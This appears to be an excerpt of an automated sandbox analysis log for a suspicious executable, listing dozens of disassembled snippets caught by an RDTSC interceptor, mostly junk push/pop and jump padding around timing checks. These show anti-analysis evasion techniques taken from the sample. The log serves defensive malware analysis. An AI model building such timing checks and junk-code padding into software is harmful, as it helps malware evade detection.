Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D365A second address: 8D366A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a jp 00007F7F1CE19AA6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D37A3 second address: 8D37AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D37AA second address: 8D37CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7F1CE19AABh 0x00000008 jmp 00007F7F1CE19AB2h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D3986 second address: 8D398A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 845173 second address: 845177 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 845177 second address: 84519F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F7F1D21A770h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F7F1D21A76Dh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D84ED second address: 8D84F7 instructions: 0x00000000 rdtsc 0x00000002 je 00007F7F1CE19AA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D84F7 second address: 8D8501 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8803ED second address: 88044D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jnc 00007F7F1CE19AA6h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ebx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F7F1CE19AB0h 0x00000016 popad 0x00000017 pop ebx 0x00000018 nop 0x00000019 jmp 00007F7F1CE19AADh 0x0000001e mov ebx, dword ptr [ebp+12481424h] 0x00000024 jo 00007F7F1CE19AA8h 0x0000002a mov cl, dl 0x0000002c add eax, ebx 0x0000002e jnl 00007F7F1CE19ABAh 0x00000034 nop 0x00000035 push eax 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88044D second address: 8804A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 jg 00007F7F1D21A771h 0x0000000d nop 0x0000000e mov ecx, ebx 0x00000010 push 00000004h 0x00000012 mov cl, 34h 0x00000014 nop 0x00000015 push edx 0x00000016 jmp 00007F7F1D21A777h 0x0000001b pop edx 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 jmp 00007F7F1D21A778h 0x00000025 jg 00007F7F1D21A766h 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D949B second address: 8D94AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F1CE19AAAh 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D94AF second address: 8D94C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F1D21A76Eh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D94C4 second address: 8D94EF instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7F1CE19AB2h 0x00000008 jmp 00007F7F1CE19AABh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jo 00007F7F1CE19AA8h 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E6E21 second address: 8E6E26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E6E26 second address: 8E6E63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F7F1CE19AB4h 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jc 00007F7F1CE19AAAh 0x00000017 push eax 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a pushad 0x0000001b popad 0x0000001c pop eax 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 pushad 0x00000021 popad 0x00000022 jo 00007F7F1CE19AA6h 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E55B8 second address: 8E55D0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 ja 00007F7F1D21A766h 0x0000000b pop esi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jnp 00007F7F1D21A76Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E55D0 second address: 8E55D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E55D4 second address: 8E55E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F1D21A76Eh 0x00000007 push eax 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E590C second address: 8E5930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F7F1CE19AB1h 0x0000000d pushad 0x0000000e ja 00007F7F1CE19AA6h 0x00000014 push esi 0x00000015 pop esi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E5930 second address: 8E5935 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E5E45 second address: 8E5E5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7F1CE19AB0h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E5E5A second address: 8E5E62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E6382 second address: 8E638C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F7F1CE19AA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E638C second address: 8E63AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F1D21A775h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E63AB second address: 8E63AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E63AF second address: 8E63C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F1D21A76Fh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E63C4 second address: 8E63D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007F7F1CE19AAAh 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E9DA4 second address: 8E9DAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E9DAC second address: 8E9DB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EA09C second address: 8EA0A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EA0A2 second address: 8EA0C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jp 00007F7F1CE19AA6h 0x0000000d jmp 00007F7F1CE19AB9h 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EA0C9 second address: 8EA0F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F7F1D21A76Bh 0x00000008 jnp 00007F7F1D21A766h 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F7F1D21A776h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EA5BC second address: 8EA5D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7F1CE19AB8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EA9D2 second address: 8EA9D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EA9D6 second address: 8EA9DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EF5EE second address: 8EF5F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EF5F7 second address: 8EF618 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 jnp 00007F7F1CE19AAEh 0x0000000f push eax 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EF618 second address: 8EF61E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F7D51 second address: 8F7D88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F1CE19AB9h 0x00000007 jmp 00007F7F1CE19AAEh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jc 00007F7F1CE19AC4h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F7D88 second address: 8F7D8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F7D8C second address: 8F7D9B instructions: 0x00000000 rdtsc 0x00000002 js 00007F7F1CE19AA6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F6146 second address: 8F614A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F614A second address: 8F6159 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F7F1CE19AA6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F637D second address: 8F638A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7F1D21A766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F638A second address: 8F6390 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F669D second address: 8F66A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F6AE5 second address: 8F6AE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F6AE9 second address: 8F6B0C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jbe 00007F7F1D21A766h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7F1D21A773h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F6B0C second address: 8F6B1A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F1CE19AAAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F6B1A second address: 8F6B20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F6B20 second address: 8F6B25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F6B25 second address: 8F6B4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 jmp 00007F7F1D21A772h 0x0000000d popad 0x0000000e je 00007F7F1D21A772h 0x00000014 jc 00007F7F1D21A766h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F6B4E second address: 8F6B6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F7F1CE19AB4h 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F6E35 second address: 8F6E40 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 ja 00007F7F1D21A766h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F7BCF second address: 8F7BD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FB27A second address: 8FB280 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FB280 second address: 8FB28B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FB28B second address: 8FB299 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 js 00007F7F1D21A766h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FB299 second address: 8FB2B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jmp 00007F7F1CE19AB0h 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FB2B0 second address: 8FB2BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F7F1D21A766h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FB2BB second address: 8FB2D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnl 00007F7F1CE19AA6h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jne 00007F7F1CE19AA6h 0x00000015 push esi 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FB2D2 second address: 8FB2D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FC94D second address: 8FC97F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F1CE19AB6h 0x00000009 popad 0x0000000a jng 00007F7F1CE19AB7h 0x00000010 jmp 00007F7F1CE19AB1h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90199C second address: 9019D7 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7F1D21A766h 0x00000008 jc 00007F7F1D21A766h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop eax 0x00000011 pushad 0x00000012 jmp 00007F7F1D21A770h 0x00000017 jmp 00007F7F1D21A76Fh 0x0000001c push eax 0x0000001d push edx 0x0000001e ja 00007F7F1D21A766h 0x00000024 push esi 0x00000025 pop esi 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 901509 second address: 901512 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 901512 second address: 90151E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F7F1D21A766h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90151E second address: 901522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 901522 second address: 901526 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 903F25 second address: 903F46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F7F1CE19AB3h 0x0000000d jnl 00007F7F1CE19AA6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90E23B second address: 90E266 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F1D21A771h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F7F1D21A76Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 jnl 00007F7F1D21A766h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 910A55 second address: 910A9C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F7F1CE19AD3h 0x0000000e jmp 00007F7F1CE19AB9h 0x00000013 jmp 00007F7F1CE19AB4h 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F7F1CE19AAAh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 910BFA second address: 910C01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 910C01 second address: 910C26 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F1CE19AB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 910C26 second address: 910C2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 910C2A second address: 910C30 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 910C30 second address: 910C36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 913441 second address: 913451 instructions: 0x00000000 rdtsc 0x00000002 je 00007F7F1CE19AA8h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 913451 second address: 913455 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8435B9 second address: 8435D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 js 00007F7F1CE19AD7h 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007F7F1CE19AA6h 0x00000013 js 00007F7F1CE19AA6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8435D2 second address: 8435E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F1D21A76Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91E867 second address: 91E86D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91E86D second address: 91E876 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 846BD5 second address: 846BDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 846BDA second address: 846C12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F1D21A776h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F7F1D21A76Dh 0x0000000f jc 00007F7F1D21A76Ch 0x00000015 jng 00007F7F1D21A766h 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 846C12 second address: 846C16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 846C16 second address: 846C1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92599A second address: 9259A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9259A0 second address: 9259AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F7F1D21A76Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9259AD second address: 9259C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F7F1CE19AB4h 0x0000000b push ecx 0x0000000c pushad 0x0000000d popad 0x0000000e pop ecx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92584C second address: 92585F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop ecx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007F7F1D21A766h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92585F second address: 925863 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92E806 second address: 92E822 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F7F1D21A76Fh 0x0000000c jg 00007F7F1D21A766h 0x00000012 rdtsc
